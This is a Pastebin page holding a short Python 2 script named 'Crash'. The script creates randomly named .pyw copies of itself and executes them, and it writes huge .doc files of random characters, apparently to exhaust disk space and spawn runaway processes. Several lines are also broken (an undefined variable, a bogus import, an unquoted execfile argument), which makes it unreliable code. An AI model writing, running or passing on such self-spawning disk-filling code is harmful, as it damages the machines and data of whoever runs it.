NightRaven97

Crash

Jan 21st, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.68 KB | None | 0 0
  1. import random
  2. fname=list('abcdefghijklmnopqrstuvwxyz') #for randomizing filename
  3. text=list('1234567890-=qwertyuiop[]asdfghjkl;zxcvbnm,./~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?') #for randomizing text
  4. for i in range(3): #determines number of files
  5.     if i==0:
  6.         temp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.pyw'
  7.         py_text="import random\nimport crash\nfname=list('abcdefghijklmnopqrstuvwxyz')\ntext=list('1234567890-=qwertyuiop[]asdfghjkl;zxcvbnm,./~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:\"ZXCVBNM<>?')\nfor i in range(3):\n\tif i==1:\n\t\ttemp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.pyw'\n\t\tfhand=open(temp,'w')\n\t\tfhand.write(py_text)\n\t\tfhand.close()\n\t\tloop=temp\n\t\texecfile(temp)\n\t\tcontinue\n\ttemp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.doc'\n\tfhand=open(temp,'w')\n\tfor j in range(50000):\n\t\trand_text=\"\"\n\t\tfor k in range(70):\n\t\t\trand_text=rand_text+random.choice(text)\n\t\t\trand_text=rand_text+\"\\n\"\n\t\tfhand.write(rand_text)\n\tfhand.close()\n\t\texecfile(loop)"
  8.         fhand=open(temp,'w')
  9.         fhand.write(py_text)
  10.         fhand.close()
  11.         loop=temp
  12.         execfile(temp)
  13.         continue
  14.     temp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.doc'
  15.     fhand=open(temp,'w')
  16.     rand_text="WRITTEN BY CRASH.PY"
  17.     for j in range(50000): #determines number of lines 
  18.         for k in range(1000): #determines number of characters in each line
  19.             rand_text=rand_text+random.choice(text)
  20.         rand_text=rand_text+"\n"
  21.         fhand.write(rand_text)
  22.     fhand.close()
  23.     execfile(crash.py)
Add Comment
Please, Sign In to add comment